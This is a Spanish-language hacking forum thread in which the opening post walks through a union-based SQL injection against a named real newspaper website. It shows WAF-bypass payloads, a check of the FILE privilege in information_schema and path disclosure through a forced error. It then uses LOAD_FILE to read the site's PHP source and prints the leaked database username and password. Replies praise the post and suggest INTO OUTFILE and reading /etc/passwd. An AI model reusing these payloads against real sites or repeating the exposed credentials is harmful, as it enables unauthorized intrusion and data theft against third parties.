Full Source Disclosure por SQLI

Iniciado por Muppet, Julio 25, 2013, 04:01:18 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Julio 25, 2013, 04:01:18 AM Ultima modificación: Noviembre 23, 2014, 02:30:32 PM por Expermicid
Bueno volviendo despues de un tiempo que me tuve que tomar por la facutad, aprovecho para dejar este aporte:

Realizar FSD por medio de SQLI:

Veamos esta Web con SQLI:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta




despues de explotar el sqli y Bypassear el WAF queda asi:



Vector:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta /*!50000union*/ /*!50000select*/ 1,2,3,0x6864627265616b6572,version(),6,user(),8,@@datadir,10,11,12,13,14,15,16 limit 1,1-- -c

como podemos ver, la inyección es Union Based, y saltamos un WAF que solo filtra union y select, ahora mi pregunta es si el usuario

lasema@localhost

Tiene privilegios de Apertura de Ficheros, nos fijamos de la siguiente manera:

Dentro de information_schema existe una tabla que se llama USER_PRIVILEGES,
Dentro de esta tabla existe 2 campos que nos interesan:

GRANTEE: Posee los nombre de usuario de la base de datos.
PRIVILEGE_TYPE: Tipo de privilegio que tiene el usuario.

entonces la logica, nos dice que tenemos que formular algo como esto:

select * from information_schema.USER_PRIVILEGES;

pero esto nos devolveria muchos usuarios que no nos interesan que permisos tienen,
nosotros queremos saber que permisos tiene: "lasema@localhost"  espesificamente si tiene el permiso FILE, a mi se me ocurre algo como esto:

SELECT GRANTEE FROM INFORMATION_SCHEMA.USER_PRIVILEGES WHERE PRIVILEGE_TYPE="FILE";

esto nos mostraria todos los usuarios que tienen permisos FILE en la base de datos, entre eso buscaremos si se encuentra "lasema@localhost"

entonces acoplamos nuestra query sql a nuestra sentencia SQLI quedando de esta forma:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta /*!50000union*/ /*!50000select*/ 1,2,3,4,version(),6,user(),group_concat(GRANTEE),@@datadir,10,11,12,13,14,15,16 from information_schema.USER_PRIVILEGES WHERE PRIVILEGE_TYPE=0x46494c45 limit 1,1-- -c

donde 0x46494c45 es el hexadecimal de FILE (Esto lo hacemos ya que no podemos encapsular FILE entre ' ' o " ")

vemos que nos devuelve esto:



podemos ver que al usar group_concat, la injection no logra ser completamente visible desde la interface de usuario, por lo que nos aventuraremos a ver el Source Code y buscando la palabra root nos posicionaremos sobre la linea de la injection:



Como podemos observar "lasema" aparece en esa linea, por lo que podemos determinar que el usuario "lasema@localhost" tiene permisos de FILE y podemos realizar lectura de archivo.

Para esto implementaremos nuestro querido:

LOAD_FILE("RUTA/ARCHIVO")

Bueno lo primero que debemos lograr es un Patch Disclosure que nos diga donde estamos parado, para esto vamos a intentar generar un error con caracteres invalidos para la web:

A mi se me ocurre poner algo tan simple como una '  y logro obtener esta respuesta:



podemos apreciar:

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /var/www/docs/lasemana.es/periodico/noticia.php on line 8
donde mysql nos vuelve a dar una mano y nos revela nuestro patch disclosure:  /var/www/docs/lasemana.es/periodico/noticia.php

Recapitulando:

Gracias a nuestro usuario "lasema@localhost" que posee privilegios de FILE podremos realizar LOAD_FILE(RUTA) donde RUTA el path de nuestro Patch Disclosure!

Manos a la Obra:

Nuestra SQLI queda de esta Forma:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta /*!50000union*/ /*!50000select*/ 1,2,3,4,version(),6,user(),LOAD_FILE(0x2f7661722f7777772f646f63732f6c6173656d616e612e65732f706572696f6469636f2f6e6f74696369612e706870),@@datadir,10,11,12,13,14,15,16 limit 1,1-- -c

Donde 0x2f7661722f7777772f646f63732f6c6173656d616e612e65732f706572696f6469636f2f6e6f74696369612e706870 es el hexadeciman de: /var/www/docs/lasemana.es/periodico/noticia.php (Ruta de nuestro Path Disclouse)

y Observaremos algo que esta muy enquilombado y no se entiende nada XD



por lo que asumo que desde nuestro codigo fuente se vera mas ordenado :D



y vemos muy claramente, el usuario y password de la base de datos:


$usuario = "lasema";
$contraseña = "arcaliso";
$conexion = mysql_connect("localhost", "$usuario","$contraseña") or mail ("[email protected]","607720916","Se ha caido el Servidor","From: SOPORTE <[email protected]>");

Espero que les sea de Utilidad!

HD_Breaker

Entonces él dijo, "cruzad con vuestras tropas y atacad porque es lo único que le queda a nuestro pueblo...".


Excelente post! Desconocía de esto.

Sigue así! ;D.
A veces, observo mi pasado y me arrepiento en la actualidad de todo lo que llegue a perder y olvidar por como me veía la sociedad, nunca dejes que las opiniones de los demás te lleguen a afectar moralmente hasta el punto en que dejes de hacer lo que más te apasiona, saludos! (msj escrito en el 2016)



cuando lei el titulo pense que era una vulnerabilidad nueva xDD , es el clasico load_file() en SQLi.

Julio 26, 2013, 10:29:42 PM #6 Ultima modificación: Julio 26, 2013, 10:31:36 PM por TUNOVATO
el clasico LOAD_FILE()   :o :o :o :o


aer cuando no puedes ver o provocar el error y ver el path o Document Root...!!!!


tambien tenes que aprovechar de explicar INTO OUTFILE para culminar el tuto...

pero ta bueno

Es parecido a LFI por medio de SQLI pero con distintos fines, sino se puede incluir /etc/passwd y ver entre los usuarios el path que corresponde a esa web

Entonces él dijo, "cruzad con vuestras tropas y atacad porque es lo único que le queda a nuestro pueblo...".